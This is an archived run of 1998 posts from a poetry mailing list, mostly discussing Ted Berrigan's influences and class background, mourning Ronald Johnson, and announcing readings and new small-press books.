That was the end of the Roman Empire
Which ought to have lasted
at least three weeks longer
?
Oh yes.
19 people,   cars, a GREAT BIG
Highway Patrolman
on purpose.
in cars.

2.

ALL PEOPLE
they love the/they
try to tell
us/we may sue
!

Very tiring.
*
FORGET IT
*

I could go on, quote more of Whalen, even drag in specific turns of phrase & images later filched by Berrigan, but it's too easy, and unneccessary for anyone who can get their hands on _On Bears Head_.

I don't mean to diminish Berrigan by this post; I mean merely to give Whalen his due. He's someone who definitely deserves a festschrift, as well as an in-print collected. I doubt he'll live to see either.

Yours,

Gary Sullivan
[redacted]

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258. Charles Bernstein
Ronald Johnson 1935-1998
Thu 5 Mar 1998

I've just gotten this message from Robert Creeley:

> I've just had the sad word from Jodi Panula, Ronald Johnson's sister,
that he died >Wednesday evening, March 4th, in Topeka, Kansas from the effects of his cancer.
>I'd be grateful if you can get the information out to people with some
>quick emphasis upon ARK and his significance to us all. Many thanks.

I know the many devoted readers and admirers of Ronald Johnson's work on the Poetics List -- and I count myself as one of them -- will be detailing the remarkable and lasting achievement of Johnson’s work, culminating in the University of New Mexico publication of ARK.

Literally, a flowing: a form-take-hand
-with-form
(That Which Faseneth Us)
pillar to pillar the great dance arch itself through all that

is or was or will be, 3/4 time. This will be a glade
at the head of one stream
and a resonant gnomon before it will stretch regions of signaling
gnat-like resiliencies in the atmosphere
of where we are --
or were.
Or will be, when the mingled frame of mind
of man is celebration

Gates, which separate the wings
of tiered ilex, open
in caverns of atoms passing from one into another’s zenith
of periodic movement, vast helicoidal shift:
a vaulting of arteries
beating their heads against the dark.

This is the body of light.

[from BEAM 30, The Garden]

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259. Gary Sullivan
Class background is landscape ... & more
Thu 5 Mar 1998

Hi, Joel:

I'd go even further here & suggest that Berrigan's class background, & constant later-life poverty, in some part explain his constant "thieving"--he borrowed &/or stole lines, images, points of view, moves, etc., the way he stole books & food, & borrowed money. I mean, it was what he did to survive. Anyway, I wrote about just this subject for Artpaper (a now-defunct Minneapolis arts journal) back in like 1992 or 1993--will send it along to you (or anyone else interested), if you like. Just lemme know.

Yours,

Gary Sullivan
[redacted]

PS: Agree w/you & others about Blackburn's influence, too.

On Thursday, March 05, 1998 3:05 AM, joel lewis [SMTP:[redacted]]
wrote:
> Which brings me to a point that I have never seen much discussed on the
> list: POETRY & CLASS. Ted was one of the few major poets to come from a
> working class background -- and he was constantly aware of it.,One major

> reason he held no non-poetry job from '66 to his death had a lot to do w/
> his father, who was being trained to be classics scholar and had to give up
> those dreams and work in a bread factory when his dad died. Ted's dad died
> after a petty dispute w/ his bosses over automation. Ted said that he never
> wanted this to happen to him. I know among the theory crowd, these bits of
> personal anecdotes are no's-no's, but they go a long way in explaining ted
> and his poetry. I think the affinity that ted and olson shared (they once
> spent all night on a park bench in buffalo talking poetry!) was the shared
> working class/catholic/ ethnic background. In retrospect, that was part of
> my attraction to ted as a person was he knew from the world of scrimping
> and chuck steak I grew up in. This may have been the reason who moved
away
> from being labeled an avant-garde poet and settled into a variant
> avant-populism of the poetry from Red wagon on.
>
> Joel Lewis

↑ Index

260. **Cadaly**

Re: Looking for input on talk

Thu 5 Mar 1998

Thread on publishing, etc.

I went to a small press publishing thing at Beyond Baroque not too long ago. As opposed to Paul V. of RIBOT, most of the publishers there could not describe "what they like" at all: their publications were really outgrowths of their own taste, largely informed by the way they read their own writing. Had no way to communicate how they decided on content. A poetic? Frankly, it's like trying to decide on a B&B based on the description alone. Half the "cozy Victorian cottages" aren't anything but an older non-victorian house with a bunch of brown furniture.

As someone who has spent years trying to psyche out editorial whim based on reading a journal: it's about 50-50 as far as actually being able to ascertain decision making from the result. In my experience, when I submit stuff, either its rejected or the editor takes it and asks for more.

Catherine Daly

[redacted]

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261. Christopher W. Alexander
Re: NPR
Thu 5 Mar 1998

we missed this... see if anyone taped it?

> *Radio Alert!*
>
> *As I type at 3:30 PM west coast time, NPR and All Things Considered is doing a piece on the NY Public Library's show of the Poetry Project's mimeoed magazines. Berrigan mentioned; Ron Padgett is speaking now . . . go to the left of your dial and turn it on!*

..

Christopher Alexander [redacted] Marriott Library Instruction
[redacted] (lv. msg.)

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262. Miekal And
looming Berrigan
Thu 5 Mar 1998

David Zauhar wrote:

I'm a disciple of Frank O'Hara

Anyone care to write the next line?
^^ ^^ ^^ ^^ ^^ ^^ ^^^^

I think you already did.

The mimeograph is broken & needs repair, got any parts?

↑ Index

263. Michael Magee
Re: Class background is landscape ... & more
Thu 5 Mar 1998

Worth thinking about O'Hara in this class/Catholic context too, not quite the same but related it seems to me - having spent years in and around Worcester, MA its hard to think of a more working class space if there ius such a thing. The lapsed-Catholic 20th century poet - is that a category? Interesting. - Mike (go lapsed catholics!) Magee.

Joel said: "I think the affinity that ted and olson shared (they once spent all night on a park bench in buffalo talking poetry!) was the shared working class/ catholic/ ethnic background."

and According to
Gary
Sullivan: > > Hi, Joel: >
> I'd go even further here & suggest that Berrigan's class background, & con-
stant
> later-life poverty, in some part explain his constant "thieving"--he borrowed
> &/or stole lines, images, points of view, moves, etc., the way he stole books &
> food, & borrowed money. I mean, it was what he did to survive. Anyway, I
wrote
> about just this subject for Artpaper (a now-defunct Minneapolis arts journal)
> back in like 1992 or 1993--will send it along to you (or anyone else
> interested), if you like. Just lemme know.
>
> Yours,
>
> Gary Sullivan
> [redacted]
>
> PS: Agree w/you & others about Blackburn's influence, too.
>
> On Thursday, March 05, 1998 3:05 AM, joel lewis [SMTP:[redacted]]
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> > Which brings me to a point that I have never seen much discussed on the
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> > reason he held no non-poetry job from '66 to his death had a lot to do w/
> > his father, who was being trained to be classics scholar and had to give up
> > those dreams and work in a bread factory when his dad died. Ted's dad
died
> > after a petty dispute w/ his bosses over automation. Ted said that he never
> > wanted this to happen to him. I know among the theory crowd, these bits of
> > personal anecdotes are no's-no's, but they go a long way in explaining ted
> > and his poetry. I think the affinity that ted and olson shared (they once
> > spent all night on a park bench in buffalo talking poetry!) was the shared
> > working class/catholic/ ethnic background. In retrospect, that was part of
> > my attraction to ted as a person was he knew from the world of scrimping
> > and chuck steak I grew up in. This may have been the reason who moved
away
> > from being labeled an avant-garde poet and settled into a variant
> > avant-populism of the poetry from Red wagon on.
> >

> > Joel Lewis
>

↑ Index

264. MAXINE CHERNOFF
Re: Berrigan
Thu 5 Mar 1998

Dear K Lederer: Today's news seemed so familiar to me. Then I realized we had published it in OINK!, New American Writing's precursor, about 1000 years ago. That was during the era when Ted taught and lived in Chicago-- a good moment.

Maxine Chernoff

On Wed, 4 Mar 1998, k. lederer wrote:

> *One of my favorite Berrigan books is RED WAGON--*
>
> *Three of my favorite pieces:*
>
> *CONVERSATION (I would reproduce it, but the form is too complex for e-mail)*
>
> *TODAY's NEWS*
>
> *My body heavy with poverty (starch)*
> *It uses up my sexual energy*
> *constantly, &*
> *I feel constantly crowded*
>
> *On the other hand, One*
> *Day In The Afternoon of*
> *The World*
> *Pervaded my life with a*
> *heavy grace*
> *today*
>
> *I'll never smile again*
>
> *Bad Teeth*
>
> *But*
> *I'm dancing with tears in my eyes*
> *(I can't help myself!) Tom*
> *writes he loves Alice's sonnets,*

takes four, I'd love

to be more attentive to her, more
here
The situation having become intolerable
the only alternatives are:
Murder & Suicide.

They are too dumb! So, one
becomes a goof. Raindrops
start falling on my roof. I say
Hooray! Then I say, I'm going out

At the drugstore I say, Gimme some pills!
Charge 'em! They say
Sure. I say See you later.

Read the paper. Talk to Alice.
She laughs to hear
Hokusai had 947 changes of address
In his life. Ha-ha. Plus everything
else in the world
going on here.

I USED TO BE BUT NOW I AM

I used to be inexorable,
But now I am elusive.

I used to be the future of America,
But now I am America.

I used to be part of the problem,
But now I am the problem.

I used to be part of the solution, if not all of it,
But now I am not that person.

I used to be intense, & useful,
But now I am heavy, & boring.

I used to be sentimental about myself, & therefore ruthless,
But now I am, I think, a sympathetic person, although easily amused.

I used to be a believer,
But now, alas, I believe.

↑ Index

265. Jordan Davis
my terrific poem mentions this
Thu 5 Mar 1998

Gary,

I have a terrific poem that mentions this connection between Whalen and Berrigan -- but I would suggest that the Whalen of Berrigan's longer poems (esp. Tambourine Life and Train Ride) is a Schuyler-modified Whalen.

The way I put it in the poem is this:

Philip Whalen if I may go back
To my damaged-lecturer mode is
In Scenes of Life at the Capitol
The link from Ezra Pound to James Schuyler

But you know these things these quotations from poems they don't make any sense -- why am I being so self-deprecating? is it because my reading of Berrigan is tinted by my reading of Bernstein? -- so here's what I'll do. Send me your address, and I'll drop the poem in the mail to you today or tomorrow.

Take care,
Jordan

↑ Index

266. ScoutEW
Berrigan/i'm smiling
Thu 5 Mar 1998

All the Berrigan posts have been great, just a few things.. I would be anxious to know at what park Olson and Berrigan talked at in 1963? I grew up in Buffalo and would like to know! Joel, I loved your preface to "On the Level Everyday" Why can't someone get the ball rolling and publish more of his stuff so it can be available to everyone. There are some 20 or more titles listed at the beginning of that book, titles of Berrigan's work alone and stuff with Ron Padgett (by the way that was weird yesterday that they were talking about Berrigan in that interview with Padgett (on NPR), Anne Waldman right when these posts were being read, is that Jung's Synchronicity?) It is nice to have something like "On the Level Everyday", we need more -as far as Raushenberg telling Berrigan he imitates Ashbery, I just don't see it, sounds like a painter being snotty to a poet for no particular reason? -Grunge, yes this word did not spring up into the world in 1988, but the mass of society used that word to talk about music, Mudhoney etc.. By calling Berrigan grunge I can see what anyone means, but.. that would

be like calling a poet now a hippy.. they are all just labels, grunge being a label I never liked. To use it to describe dirt or the like is fine though, Berrigan was gritty.. --I also think the post about class is right on, Berrigan has working class roots, you can say this doesn't matter, but it does, you can say it didn't matter when Bethlehem Steel or Trico moved out of Buffalo, but it did, it affected the psyche of almost the whole city. Ted I think was really down to earth, one of the first poets to openly declare poetry as his FULL time profession-he would say, a doctor doesn't work another job does s/he? so I am a full time poet! Ron, I also understand why it is hard to write about someone you were close with, to go against their wishes, but in the long run, it would be nice to have more on Berrigan. So can anyone tell me where I can get Berrigan's last poems in Arshile: A Magazine of the Arts, and a copy of "The Sonnets" in case that other lead doesn't work out o yeah , and I know a student up here in Albany who knows Edmund, Berrigan's son and says he is a great poet, so look out for him!

↑ Index

267. **Mark Prejsnar**

Re: Magazine Concepts Continued

Thu 5 Mar 1998

Standard's poet is excellent.

It is indeed true: publishing, undertaken in whatever format and thru whatever kind of effort (one editor doing most of the work, a collective, a small group of friends) is a very *giving* and productive activity. If you publish people whose work you like, and which is therefore like your own, well that in large part is "your job" as an editor. (It can be fun also to include something very unlike yourself, rather like Berrigan admiring Wilbur....I have done this some and am in the process of doing more of it; but I consider a Berrigan/Wilbur involvement to be optional: I don't think Standard in Rhizome or Lowther in Syntactics (or the folks at Raddle Moon) are interested in as broad a canvas as I consider Misc. Proj. to be. I started it to fulfill a different and more eclectic mission, thus its greater emphasis on poetics and polemics than some, despite its being in the first instance a venue for poetry.)

Anyway, Standard is absolutely right: those blanket submitters who hit everyone everywhere all the time, are just as "self-promoting" as we who publish and edit.

And as Standard says, you can do a lot with relatively small resources; you can really have an impact on people who care about poetry. You can really have an impact on the poetry scene. Hereby, a brief list of honor of the low-budget mags that have been very helpful to me, and were crucial in encouraging Misc. Proj. (with their editors)

Compound Eye (Ange Mlinko)
Situation (Mark Wallace)
Lower Limit Speech (Aldon Nielsen)

Let a thousand mags exfoliate...

Mark P.
@lanta

↑ Index

268. **Billy Little**
slaves of dionysus
Thu 5 Mar 1998

---

i see you are choosing to ignore my last wherein i'd reputedly said i'd rather have no bio than the one you show and i made some other feeble attempt today nobody knows billy little, they say he lives in Nowhere, B.C., he could be writing poems in your name next week. Combat Plagiarism is a project he's currently working on wherein he writes the best poem he could possibly write that day and signs your name or Gerry Gilbert's name(he certainly deserves a page at the EPC), or Pierre Joris or Lily Brik or Duncan McNaughton or David McFadden. and everytime i see a used first edition by ted berrigan i sign the inside flyleaf "with the deepest regard ted good pills," ted berrigan and jack micheline were both slaves of dionysos, at one point ted berrigan could have said i never met a pill i didn't like, the gay circles were also into the pharmaceuticals, tho i can't say about ohara ted died of too many coca colas, he was a true new yorker, ted was more of an innovator ohara more traditional from the french frank laconic ted frantic frank was champagney like pasternak ted more electric cool aid like mayakofski he saw through things and enacted the simple conclusions, in reference to Charles Olson's death he said, 90% of the people who die of cancer deserve it Ted took Zukofsky's translation methods to the street the ohara affinities arise in the bebop not the beat if you're writing about the influences on poetry especially of Berrigan's generation you have to factor in the drugs, especially acid and mescaline, i'd like to hear Creeley chime in on this aspect, Ted certainly helped Bob see the light on numerous occasions, in more ways than poetry. Or anselm are you lurking? The collage element of the sonnets seemed a form of translation few practice from english to english an ur hypertext a wink ideally you'd try the drug to help you understand the poem more fully. with lowell likewise you'd have to talk about or take tranquilizers and lots of aspirin, that'd be a great anthology, poets of the headache, aspirin defines an era like heroin defines the next and bennies and coffee and amyl nitrate and cherry coke if you can't take the drug don't do the crime John Weiners are you lurking,shooting email niterate, is somebody doing your page right this minute,

you could tell us lots about all of this, Olson said if he were starting over he'd rather write like Weiners or Baraka or Sanders. Weiners said he hoped to be the Baraka of the gay struggle. I surely hope someone is mining those fragile memories of johns even if he gets it wrong its only a wrong among a plethora of wrongs and his wrong will have more verve more frisson than two or three rites, me i'm one of those students of Duncan's who would rather err on the side of beauty.. Dodie Bellamy has taught me everything i've forgotten.

↑ Index

269. **TBeck131**
Re: Ronald Johnson 1935-1998
Thu 5 Mar 1998

I am saddened by the news of Ronald Johnson's death.
His long poem RADI OS (Sand Dollar, 1977) is a volume I've returned to with renewed pleasure for the last twenty years. RADI OS was composed by making
erasures in a 1892 edition of PARADISE LOST--an extraordinary example of found
art.
In addition to a large and moving body of literary work Mr. Johnson was an accomplished chef and wrote several wonderful cookbooks.
He'll be missed.

Tom Beckett

↑ Index

270. **Douglas**
Re: Ronald Johnson 1935-1998
Thu 5 Mar 1998

I am also shocked and saddened by this news.
Sun & Moon is publishing a complete version of
RADI OS/THE OUTTAKES. It will be published
in early 1999.

Ron was a truly great poet, as his ARK reveals.

Douglas Messerli
Sun & Moon Press

TBeck131 wrote:
>
> I am saddened by the news of Ronald Johnson's death.
> His long poem RADI OS (Sand Dollar, 1977) is a volume I've returned to

with
> renewed pleasure for the last twenty years. RADI OS was composed by making
> erasures in a 1892 edition of PARADISE LOST--an extraordinary example of found
> art.
> In addition to a large and moving body of literary work Mr. Johnson was an
> accomplished chef and wrote several wonderful cookbooks.
> He'll be missed.
>
> Tom Beckett

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271. Hilton Manfred Obenzinger
Re: Berrigan
Thu 5 Mar 1998

All the wonderful scoop on Ted Berrigan -- I had not thought he would be ignored by critics or readers, and he doesn't seem to be ignored by the people on this list. In terms of class, ethnicity, etc., has anyone examined the Tulsa tie between Ted, Padgett, Joe Brainard, Dick Gallup, others? I'm not sure Tulsa has ever produced so many remarkable writers. I'm not sure it's so bad to called a disciple of Frank O'Hara (or of Ted Berrigan), whatever "disciple" means. No matter what, it makes for a great first line from a Berrigan poem:

I'm a disciple of Frank O'Hara

Anyone care to write the next line?

Hilton Obenzinger

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272. David Gitin
Philip Whalen/Clark Coolidge
Thu 5 Mar 1998

This is a multi-part message in MIME format.

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Whalen and Coolidge read together at San Francisco State in May 1976, on = which occasion, Philip compared Clark to Hemingway.=20

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San=20
Francisco State in May 1976, on which occasion, Philip compared Clark to =

Hemingway. </FONT></DIV></BODY></HTML>

↑ Index

273. Pierre Joris
Re: Berrigan
Thu 5 Mar 1998

Hilton Manfred Obenzinger wrote:

> *... In terms of class, ethnicity, etc., has*
> *anyone examined the Tulsa tie between Ted, Padgett, Joe Brainard, Dick Gallup, others? I'm not sure Tulsa has ever produced so many remarkable writers.*

Some years ago, introducing Kenneth Koch at a Paris reading, I suggested that the "New York School" should (retroactively) be renamed the "Tulsa" school -- KK nearly lost his usual sunny composure. & on the left wall of my study, slightly back of the chair I'm sitting on, hangs a 5 by 3 painting of Ted done by Mary Beach.

Another poeta Ted was forever studying was Auden. Sometime in the middle seventies I asked him why he still bothered with that mannered Brit cocktail-chatter & he said something like: "Becaus he's got the biggest bag of cheap tricks — and as a poet you need to know all the cheap tricks of the trade."

Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel: [redacted] fax: [redacted]
email:[redacted]

http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
“All my life I’ve heard
one makes many”
  — Charles Olson
==========

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274. k. lederer
Re: Berrigan/i'm smiling
Thu 5 Mar 1998

Berrigan has two wonderful sons who write--Eddie and Anselm--

Eddie (who lives in SF) has two terrific chapbooks out on Idiom Press: 1143 Hearst Ave., Berkeley, CA 94702 (Idiom also has chapbooks out by Renee Gladman, Greg Biglieri--and has some forthcoming by myself, Lauren Gudath, and many other great emerging writers--). The books are lovely to look at and to read--

Eddie has also had work recently in Arshile, ZYZZYVA, Explosive, and Gas.... He does his own journal, LOG--

Anselm has a chapbook out on Gas (I think it's sold out now...), and new work in Situation, Explosive, No Trees, BOOGLIT Mag., Mass Ave., and elsewhere. He currently lives in NYC--

He will have a full-length collection coming out this year on Rod Smith's EDGE Books--it is wonderful, and you should all take a look--

***

I have always found these two writers interesting in terms of the writing practices of their father (and mother, Alice Notley)--they allow one to think of poetry as a true profession--in the noble sense--one that can be handed down--one that can be passed along through the generations--

Eddie and Alice wrote about a million collaborations when Eddie was little. I don't want to embarass Eddie, but they are so great to read--very refreshing--

Eddie was 8 or 9 when he wrote these with Alice:

POEM

Ignominy, obscurity, and serenity
hurl a pearl at the floor:

"No presuppositions of fame after death"
"No legal fees"

In these parts we smoke our dinner
"No pepper games"

we eat with our feet
and we walk with our hands

THERE'S A SIGN ON THE THIRD FLOOR
THAT SAYS SO

we groom ourselves like cats
and we end our poems like lives

THOUGHT BALLOON

The cloud is green
My head is empty
It is spring
Inside this penny
I meet Jenny
And kid.

THE BEAST OF EACH

One night in America
I hugged my beast
The beast of each
The beast was bleached
And beautiful as a scarecrow
But scared though.

I love him plenty
Though we have no money
He's my beast
The beast of each

***

I love these.....

At two recent Explosive benefit readings I've had the pleasure of witnessing readings by Brecht Gander (of Forrest and CD Wright--wonderful, all the work-shoppers were very jealous...), and Danny Morice (of Dave Morice--incredible, terrific poem)--

I think that this sort of activity is on some level the best thing that can come out of poetry--

All best,
Katy

↑ Index

275. **Maria Damon**
Re: Early Warning: Mackey in mpls
Thu 5 Mar 1998

---

and Mackey will be in Mpls april 2-5. he will be reading from his prose and poetry april 2, at 3:15, in Room 207A Lind Hall, University of MN, mpls (eastbank), 207 church st se. free and open to the public, and it'd be great to see any of you there...md

At 12:23 PM -0800 3/4/98, MAXINE CHERNOFF wrote:
>In addition to Mackey's readings at UIC, he is also reading in the series
>Paul Hoover curates at Columbia College. His reading there will take
>place at 3 p.m. on April 16 in the Ferguson Theater, 600 South Michigan,
>where he will be introduced by Art Lange, his collaborator on the Coffee
>House jazz anthology, Moment's Notice. The reading is free and open to
>the public.
>
>Maxine Chernoff
>
>On Wed, 4 Mar 1998, David Zauhar wrote:
>
>> The distinguished poet, novelist and critic Nathaniel Mackey will visit UIC
>> on April 15 and 16. Here is his schedule
>>
>> "A Reading of Poetry and Prose."
>> April 15th, 3:00, African-American Cultural Center, 2nd Floor, Adams Hall
>>
>> "On the Influence of H.D. on My Poetry."
>> April 16th, 11:00 a.m., Humanities Institute, Basement, Stevenson Hall
>>
>> Both events are free and open to the public.
>>
>> the University of Illinois at Chicago is not the easiest place to find
>> your way around, and these aren't the most convenient of times for those
>> who lead non-academic lives, but it'll be worth it if you can make it.
>> Mark your calander now.

>>
>> Nathaniel Mackey's visit to UIC is sponsored and supported by the
>> Department of African-American Studies, the African-American Cultural
>> Center, the Institute for the Humanities, the Department of English, the
>> Office of Access and Equity, the Department of Performing Arts, and the
>> Student Activities Funding Committee.
>>
>> For further information contact [redacted] or...
>>
>> James C. Hall
>> Asst. Professor of African-American Studies and English
>> University of Illinois at Chicago
>> 601 S. Morgan St.
>> Chicago, IL 60607-7112
>> [redacted]
>> [redacted]
>>

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276. **Michael Magee**
Re: Berrigan
Thu 5 Mar 1998

Tulsa's a fascinating little artistic secret - Oklahoma in general really - isn't Cornel West a Tulsan? and if you include Okla City you get Ralph Ellison and avant-garde trumpeter Don Cherry. -m.

According to Hilton
Manfred Obenzinger: >
> All the wonderful scoop on Ted Berrigan -- I had not thought he would be
> ignored by critics or readers, and he doesn't seem to be ignored by the
> people on this list. In terms of class, ethnicity, etc., has
> anyone examined the Tulsa tie between Ted, Padgett, Joe Brainard, Dick
> Gallup, others? I'm not sure Tulsa has ever produced so many remarkable
> writers. I'm not sure it's so bad to called a disciple of Frank O'Hara
> (or of Ted Berrigan), whatever "disciple" means. No matter what, it
> makes for a great first line from a Berrigan poem:
>
> I'm a disciple of Frank O'Hara
>
> Anyone care to write the next line?
>

> Hilton Obenzinger
>

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277. Joseph Conte
Re: Bruce Campbell
Thu 5 Mar 1998

Does anyone have an e-mail address for Bruce Campbell at U. Cal. Riverside? Re: Jackson Mac Low and Clark Coolidge.

Please backchannel me if you do.

Thanks.

Joseph Conte

--

Joseph M. Conte [redacted] x1009
Associate Professor and FAX: [redacted]
Director of Graduate Studies
Department of English
306 Clemens Hall
SUNY at Buffalo
Buffalo, NY 14260-4610 http://writing.upenn.edu/~jconte/

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278. Jordan Davis
yet again, my poem!
Thu 5 Mar 1998

SCOUTew! my poem mentions Anselm and Eddie (who I now hear goes by Ed) as well! Send me your address -- or better still, if you don't mind reading on a screen, allow me to e-mail my poem to you.

As you all must be noticing, I'm feeling exhibitionistic today. It must be the beginning of poetry season here in our city! By gum, it is!

Tom Raworth and Drew Gardner will be saving the youth of America tonight at Poetry City in the offices of Teachers & Writers, 5 Union Sq W NYC. 7 pm. Come! Come by!

And if you can't come by, say hi,
Jordan

↑ Index

279. David Zauhar
Re: Berrigan
Thu 5 Mar 1998

> I'm a disciple of Frank O'Hara
>
> Anyone care to write the next line?
> ^^ ^^ ^^ ^^ ^^ ^^ ^^^^

I think you already did.

DZ

> *Hilton Obenzinger*

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280. Elizabeth Hatmaker
ron padgett
Thu 5 Mar 1998

Has anyone read Ron Padgett's book _Creative Reading: what it is, how to do it, and why_ put out by NCTE? It's being ordered at my library and I wondered about what it was like.

Elizabeth Hatmaker

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281. Pierre Joris
Re: Ronald Johnson 1935-1998
Thu 5 Mar 1998

Much saddened by the news of Ronald Johnson's death. Besides reading in RA DIOS tonight, I will also celebrate the man by cooking something from his THE AMERICAN TABLE --probably the HAM AND EGGPLANT PILAU MADAME BEGUE, &, if there's time, make his incredible Kentucky Pie. My copy of The American Table is falling to pieces -- when will someone reprint this one & his Southwestern Cooking Old & New.

Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel: [redacted] fax: [redacted]
email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
— La Rochefoucauld
“All my life I’ve heard
one makes many”
— Charles Olson
==========

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282. **Henry Gould**
Re: Berrigan/i'm smiling
Thu 5 Mar 1998

On Thu, 5 Mar 1998 12:15:20 EST ScoutEW said:
>-Grunge, yes this word did not spring up into the world in 1988, but the mass
>of society used that word to talk about music, Mudhoney etc.. By calling
>Berrigan grunge I can see what anyone means, but.. that would be like calling
>a poet now a hippy.. they are all just labels, grunge being a label I never
>liked. To use it to describe dirt or the like is fine though, Berrigan was
>gritty..

Go ahead and set yourself up as Berrigan's Defender. I never labelled anybody. I said Berrigan combined art and life, formality & informality, by letting the GRUNGE of street life seep into his work, the gritty, GRUNGY street-life of Providence, Worcester, New York, Tulsa, wherever it may be found (it's even in Minneapolis). I don't think Berrigan would disagree, myself. I find GRUNGY to be a fine evocative word for the GRUNGE I am talking about.

- Henry Gould, "byt" poet

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283. **Steven Clay**
Ted Berrigan/NYPL: Secret Location show
Thu 5 Mar 1998

Several new Berrigan books have been published recently or are in the works:

Situations has published "Great Stories of the Chair" a group of poems first printed in Angel Hair in the late sixties and not collected elsewhere. Available from St. Mark's Poetry Project, SPD and Bridge Street Books (for $6) perhaps elsewhere-Out-of-print at the publisher-grab while you can.

Alice Notley has just written me that Penguin has contracted to do a new edition of "The Sonnets"-no publication date announced as of yet. [That makes four editions: "C", Grove, United Artists & Penguin.]

Granary Books published "In the Nam What Can Happen" by Ted Berrigan and George Schneeman-this is a simulation of an artists' book made in collaboration by these two about 1968. Beautifully produced in an edition of 70 (50 for sale at $500).

Granary also has in the works "Ted Berrigan: An Annotated Checklist" by Aaron Fischer. This book chronicles Ted's life in print and is much more than a mere checklist as it is filled with accounts of publishing the books. Also included are 27 never-seen-before Berrigan/Schneeman collaborations from the late sixties (some in full color) and a fine introduction "Publishing Ted" by Lewis Warsh. This book is nearly ready to go to the printer. I'll make a formal announcement to the list upon publication in a couple of months. It'll be priced around $35, give or take.

Regarding the show at the NYPL: A Secret Location on the Lower East Side: Adventures in Writing 1960-1980-indeed Mr. Berrigan would seem to be the presiding spirit looking out, as he does from the painting by Mr. Schneeman, over a vast sea of poetry books. We are currently finishing work on a 350 pp fully illustrated book documenting the era as well as the show-co-published by Granary and the NYPL and due out around June 1, 98. I'll announce upon publication.

I'd be happy to back channel a several paragraph description of the exhibit to anyone interested. Contact me (Dear Chris, helloŠ)

Steve Clay
[redacted]

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284. **David Zauhar**
Re: Berrigan
Thu 5 Mar 1998

> *Another poeta Ted was forever studying was Auden. Sometime in the middle seventies I asked him why he still bothered with that mannered Brit cocktail-chatter & he said something like: "Becaus he's got the biggest bag of cheap tricks — and as a poet you need to know all the cheap tricks of the trade."*
>
> *Pierre*

I always liked the generosity in Berrigan's writing, (though there's a memoir/ letter in, I think, _Nice to See You_ in which TB drives up to Chicago from Iowa City to read w/ (correct me if I'm wrong, someone) Ann Sexton. He didn't seem to care much for her or her work in this letter. My favorite example comes from the book Joel Lewis edited, _On the Level Everyday_, where Berrigan is talking about how poets support themselves, and he says of Wallace Stevens (not exactly working class, not exactly bohemian) that "It's bad karma to work at a job fulltime and not go at it as seriously as you go at being a poet. Wallace Stevens, incidently, was not just an insurance man; he was vice-president of the Hartford Casualty Company. I mean there's no sense fooling around; if you're going to do something, you might as well be good at it" (57). re: Auden: there's a great story in Sanders' _Tales of Beatnik Glory_ about a young low-ereastsider who practices forging Auden's autograph, then goes to palm off an "autograph copy to a dealer." The great twist occurs when ol' Wystan himself walks in. The story is written w/ a degree of fondness that makes me think that Berrigan wasn't alone among the new yorkers who dug (aspects of) Auden.

Dave Zauhar

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285. Matthew Kirschenbaum
Re: web publication, etc.
Thu 5 Mar 1998

Apropos. Does anyone know anything more about this? Matt

> *Humanist Discussion Group, Vol. 11, No. 621.*
> *Centre for Computing in the Humanities, King's College London*
> *<http://www.princeton.edu/~mccarty/humanist/>*
> *<http://www.kcl.ac.uk/humanities/cch/humanist/>*
> *From: David Green <[redacted]>*
>
> *Leading Art Site Suspended*
> *<http://www.nytimes.com/library/tech/98/03/cyber/articles/03adaweb.html>*
>
> *One of the leading websites for the creation and distribution of Web-specific art works, adaWeb, has been closed down by its new corporate owners according to a report by Matthew Mirapaul in today's New York Times' CyberTimes.*
>
> *Source: New York Times (CyberTimes)*
> *<http://www.nytimes.com/library/tech/98/03/cyber/articles/03adaweb.html>*
> *Author: Matthew Mirapaul*
> *Issue: Arts*
> *Description: The Web site which is one of the most premier destinations for original Web-based art, ada'web, is being suspended. Co-founder, Benjamin*

> *Weil, said the reason was that ada'web's publisher, Digital City Inc., had canceled the Web site's financing. Skeptics had anticipate its closing since the selling of ada'web's founding company, WP Studio, to Digital City, owned primarily by America Online and the Tribune Company, 13 months ago. They were unable to "reconcile the site's high-minded mission with the mass-market orientation of other sites, and given the often- challenging nature of the material, commercial sponsorship was not a likely option. Weil agreed, saying: "For one year, it's been very difficult. We've been trying to find ways for our corporate parent to understand that there was value in this for them. It seemed like the message didn't really get through. And then we tried to go non-profit to remain online, but we realized there was very little funding available." Weil is now seeking a permanent home for ada'web's archives so pre-published artwork can remain accessible.*
>
> *********
> *(c)Benton Foundation, 1998. Redistribution of this email publication -- both internally and externally -- is encouraged if it includes this message.*
>
> *The CPP News-Clipping Service is posted to the Benton e-mail lists Monday through Friday. The Headlines are highlights of news articles summarized by staff at the Benton Foundation. They describe articles of interest to the work of the Foundation -- primarily those covering long term trends and developments in communications, technology, journalism, public service media, regulation and philanthropy. While the summaries are factually accurate, their often informal tone does not represent the tone of the original articles.*
>
> ----------
> *To join the Benton Communications Policy Mailing List, email the following command in the body of a message to [redacted]:*
> *subscribe benton-compolicy YourFirstName YourLastName*
>
> *If at any time you would like to unsubscribe from the Benton Communications Policy Mailing List, email the following command in the body of a message to [redacted]:*
> *signoff benton-compolicy*
>
> *If you have any problems with the listserv or any questions about the postings, please direct them to [redacted].*

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286. **Andrew D Epstein**
Re: Berrigan
Thu 5 Mar 1998

Some thoughts on the Berrigan thread, which I'm enjoying:

The question of whether Berrigan is or isn't Frank O'Hara's "disciple" (or anyone else's) is ultimately less interesting than how, why, and where he resembles, echoes, and uses his predecessors. What does he do with what he learns from or gains from O'Hara, Ashbery, Whalen, etc? How and why do their styles and even their words appear in or spur his own poems?

What got me thinking about this specifically were a couple of interesting echoes/allusions in the poem Katy Lederer quoted yesterday, I USED TO BE BUT NOW I AM.

When Berrigan begins the poem:
  I used to be inexorable,
  But now I am elusive.
it reminded me of O'Hara speaking of what he wants he wants from his poetry in the early poem "Poetry":
  All this I desire. To
  deepen you by my quickness ...
  as if you would never leave me
  and were the inexorable
  product of my own time.
How is Berrigan's allusion to O'Hara's poem functioning here? Is he revealing an earlier desire to be O'Hara-like, perhaps, that has now given way to wanting to be more "elusive"?

When Berrigan goes on:
  I used to be the future of America,
  But now I am America.
it's hard not to think of Ginsberg's "America": "it occurs to me that I am America."

Also, when Berrigan writes:
  I used to be part of the solution, if not all of it,
  But now I am not that person.
